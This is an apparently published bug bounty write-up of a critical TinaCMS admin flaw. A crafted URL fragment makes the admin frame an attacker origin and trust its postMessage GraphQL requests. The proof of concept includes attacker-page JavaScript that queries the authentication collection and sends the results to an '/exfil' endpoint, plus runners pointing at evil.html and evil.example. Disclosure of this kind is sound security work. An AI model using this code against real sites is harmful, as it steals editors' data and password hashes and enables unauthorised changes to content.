# TinaCMS admin preview iframe loads an attacker-controlled origin from the URL fragment

TinaCMS admin builds preview iframe src and postMessage expectedOrigin from the URL fragment splat; `#/~//attacker/p` frames an attacker origin treated as trusted, yielding content API read/write.

- Payout: Research
- Severity: critical
- Program: TinaCMS
- Found by: sondt99
- Disclosed: 2026-10-09
- CVE: CVE-2026-108261
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-x34j-47hf-4xg7
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-x34j-47hf-4xg7
- Tags: area:web domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:critical tech:graphql tech:react technique:chained technique:source-review vuln:access-control vuln:auth-bypass vuln:misconfiguration vuln:open-redirect

**Target:** TinaCMS admin SPA preview iframe and postMessage GraphQL bridge
**Root cause:** The `/~/*` hash-router splat is prefixed with `/` to force a relative path, but react-router returns the splat with its own leading slash for `/~//x`, producing a protocol-relative `//x` iframe src. The same unvalidated string derives `expectedOrigin`, the sole trust anchor for the admin↔preview postMessage channel.
**Steps:**
1. Open admin at `#/~//attacker.example/p`; splat `params['*']` = `/attacker.example/p`, url = `//attacker.example/p`
2. Admin renders `<iframe src={url}>` with no sandbox/CSP, loading attacker origin
3. `getExpectedPreviewOrigin(url)` returns `http://attacker.example` as expectedOrigin
4. Attacker frame posts `{type:'open', id, query, variables}`; `event.origin === expectedOrigin` and `event.source` is the admin's own frame, so both guards pass
5. Admin runs `cms.api.tina.request(expandedQuery,{variables})` with editor token; `expandQuery` passes mutations unchanged
6. Result posted back via `postMessageToPreview(..., expectedOrigin)` to attacker origin, which exfiltrates it
**How found:** Noticed the leading `/` intended to force a relative path is defeated by react-router returning the splat with its own leading slash; traced that the same value feeds both the iframe src and the postMessage origin check, making the trust anchor attacker-controlled. Also observed the URL-correction poll throws SecurityError cross-origin so no corrective navigate occurs.
**Exploitation:** Unauthenticated attacker sends one link containing the payload in the URL fragment (never hits server logs). A signed-in editor opening it causes the admin to frame the attacker page, accept its GraphQL operations as trusted, execute them with the editor's token, and return results to the attacker — arbitrary read (e.g. `authentication` collection with PBKDF2 hashes) and write (`updateDocument`/`createDocument`/`deleteDocument`).
**Escalation:** Confused-deputy crosses both browser same-origin policy and content API authorization; fragment-only payload evades server-side logging.
**Insight:** When a SPA derives both a resource URL and a security trust anchor (postMessage expectedOrigin, CSP, CORS allowlist) from the same user-controlled route param, test whether router normalization (doubled slashes, encoded `%2F`) can flip a relative path into protocol-relative; also check whether any self-healing poll relies on cross-origin-readable properties that throw.

## Proof of concept (copied exactly from the original report)

**Attacker page posts GraphQL query to parent**

```
parent.postMessage({ type: 'open', id: 'poc-1',
    query: 'query { collection(collection: "authentication") { documents { edges { node { ... on Document { _values } } } } } }',
    variables: {}, data: {} }, '*');
  window.addEventListener('message', (e) => {
    if (e.data && e.data.type === 'updateData') {
      fetch('/exfil?data=' + encodeURIComponent(JSON.stringify(e.data.data)), { mode: 'no-cors' });
```

**Playwright runner with crafted fragment**

```
const hash=scenario==='control'?'#/~/posts/hello-world':`#/~//127.0.0.1:${ATTACKER_PORT}/evil.html`;
  await page.goto(`http://127.0.0.1:${VICTIM_PORT}/index.html${hash}`);await page.waitForTimeout(2500);
  results[scenario]={hash,
   iframeSrc:await page.evaluate(()=>window.__poc_iframeSrc),
   expectedOriginTrustedByAdmin:await page.evaluate(()=>window.__poc_expectedOrigin),
   framesLoaded:page.frames().map(f=>f.url()),
   attackerServerHits:[...attackerHits],
   victimConsole:logs.filter(l=>l.startsWith('[victim]'))};
  await ctx.close();}
 await browser.close();v.close();a.close();console.log(JSON.stringify(results,null,2));})();
```

**Router splat doubling slash test**

```
for (const p of ['/~/posts/hello','/~//evil.example','/~/%2F%2Fevil.example']) {
  const s = matchPath({ path: '/~/*' }, p)?.params['*'];
  console.log(JSON.stringify(p), '=> params["*"] =', JSON.stringify(s), '=> url =', JSON.stringify('/' + s));
```

